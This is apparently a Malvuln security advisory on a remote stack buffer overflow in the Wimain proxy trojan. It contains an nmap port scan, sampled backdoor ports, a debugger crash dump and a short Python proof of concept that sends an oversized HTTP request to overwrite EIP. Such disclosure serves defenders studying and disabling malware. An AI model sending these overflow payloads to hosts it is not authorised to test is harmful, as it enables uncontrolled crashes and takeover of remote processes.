Share
## https://sploitus.com/exploit?id=PACKETSTORM:161778
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/8936c97e99799809812fa740076a2d7f.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Trojan-Proxy.Win32.Wimain  
Vulnerability: Remote Stack Buffer Overflow  
Description: Win32.Wimain trojan listens on two random TCP ports only one of the two ports seems vuln. Sending a specially crafted HTTP request will trigger classic stack buffer overflow overwriting ECX, EBP and EIP registers. The challenge is the malware changes it port on each restart. However, after repeated sampling of the ports opened there seems to be a specific range the ports fall within. Also, another giveaway is there should be two of them listening in that range. This can help us to somewhat fingerprint the backdoor presence, we can then scan that port range to try an locate. Wimains port range seem to typically fall within 1000 - 4999 range. If we know our network and or have a good baseline, we can leverage Nmap to probe for the suspect ports. Afterwards, we can then issue specially crafted payload to crash or exploit the buffer overflow vulenrability.  
  
C:\>nmap -n -Pn -sS -p999-4999 -T4 192.168.1.10 -open  
  
Starting Nmap 7.80 ( https://nmap.org ) at 2021-03-14 15:46 Pacific Daylight Time  
Nmap scan report for 192.168.1.10  
Host is up (0.00s latency).  
Not shown: 3999 closed ports  
PORT STATE SERVICE  
1258/tcp open opennl  
3179/tcp open h2gf-w-2m  
  
  
Sampling of some TCP ports used by the Wimain malware:  
  
1433  
3700  
4192  
1257  
4363  
4850  
3178  
2668  
2571  
3910  
2028  
2113  
4897  
1923  
1986  
1761  
4423  
2125  
2074  
2332  
4216  
2125  
2074  
2300  
3495  
2001  
3221  
4453  
2990  
1312  
1876  
1312  
2278  
1839  
1878  
4423  
1750  
2770  
2809  
2888  
2848  
1129  
3013  
4897  
3083  
3524  
2714  
3645  
4999  
2300  
4184  
1718  
3724  
3656  
4570  
4729  
3448  
4768  
3034  
1150  
1703  
3380  
1143  
4349  
2258  
1260  
3935  
4696  
2397  
1574  
1613  
3159  
4184  
1718  
3724  
3656  
4570  
4729  
3448  
4768  
3034  
1150  
1703  
3380  
1143  
4349  
2258  
1260  
3935  
4696  
2397  
1574  
1613  
3159  
1029  
2126  
1767  
1378  
1456  
4488  
1068  
2165  
1447  
4886  
1727  
2243  
2207  
4091  
3884  
1793  
2479  
  
Type: PE32  
MD5: 8936c97e99799809812fa740076a2d7f  
Vuln ID: MVID-2021-0131  
Dropped files:   
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 03/14/2021  
  
Memory Dump:  
(b08.1118): Stack buffer overflow - code c0000409 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=41414141 edx=00000001 esi=00000000 edi=00000002  
eip=7710ed3c esp=0019f400 ebp=0019f440 iopl=0 nv up ei pl nz ac pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216  
ntdll!ZwWaitForMultipleObjects+0xc:  
7710ed3c c21400 ret 14h  
0:000> .ecxr  
  
eax=00000001 ebx=00000000 ecx=41414141 edx=00000001 esi=00a3044c edi=03144c15  
eip=41414141 esp=0019fab4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
41414141 ?? ???  
  
0:000> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
*** WARNING: Unable to verify checksum for Trojan-Proxy.Win32.Wimain.8936c97e99799809812fa740076a2d7f.exe  
*** ERROR: Module load completed but symbols could not be loaded for Trojan-Proxy.Win32.Wimain.8936c97e99799809812fa740076a2d7f.exe  
  
FAULTING_IP:   
+24  
41414141 ?? ???  
  
EXCEPTION_RECORD: 0019f604 -- (.exr 0x19f604)  
ExceptionAddress: 41414141  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000008  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 41414141  
Attempt to read from address 41414141  
  
PROCESS_NAME: Trojan-Proxy.Win32.Wimain.8936c97e99799809812fa740076a2d7f.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000409 - The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.  
  
EXCEPTION_PARAMETER1: 00000015  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
FAILED_INSTRUCTION_ADDRESS:   
+24  
41414141 ?? ???  
  
CONTEXT: 0019f654 -- (.cxr 0x19f654)  
eax=00000001 ebx=00000000 ecx=41414141 edx=00000001 esi=00a3044c edi=03144c15  
eip=41414141 esp=0019fab4 ebp=41414141 iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246  
41414141 ?? ???  
Resetting default scope  
  
READ_ADDRESS: 41414141   
  
FOLLOWUP_IP:   
+24  
41414141 ?? ???  
  
IP_ON_HEAP: 41414141  
The fault address in not in any loaded module, please check your build's rebase  
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may  
contain the address if it were loaded.  
  
IP_IN_FREE_BLOCK: 41414141  
  
FRAME_ONE_INVALID: 1  
  
LAST_CONTROL_TRANSFER: from 41414141 to 41414141  
  
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]  
  
FAULTING_THREAD: ffffffff  
  
BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_FILL_PATTERN_41414141  
  
PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141  
  
DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141  
  
STACK_TEXT:   
00000000 00000000 unknown!printable+0x0  
  
  
SYMBOL_NAME: unknown!printable  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: unknown  
  
IMAGE_NAME: unknown  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 0  
  
STACK_COMMAND: ** Pseudo Context ** ; kb  
  
FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_FILL_PATTERN_41414141_c0000409_unknown!Unloaded  
  
BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_FILL_PATTERN_41414141_MISSING_GSFRAME_BAD_IP_unknown!printable  
  
  
Exploit/PoC:  
from socket import *  
  
MALWARE_HOST="x.x.x.x"  
#Use Nmap to locate port, there should be two TCP ports opened within the 1000-4999 range.  
PORT= [RANGE-1000-4999]  
  
def doit():  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((MALWARE_HOST, PORT))  
  
PAYLOAD="GET /" + "A"*1432 + "HTTP/1.1\r\nHost: "+ "A"*1562   
  
s.send(PAYLOAD)  
s.close()  
  
print("Trojan-Proxy.Win32.Wimain / Remote Stack Buffer Overflow")  
print("MD5: 8936c97e99799809812fa740076a2d7f")  
print("BY Malvuln")  
  
  
if __name__=="__main__":  
doit()  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).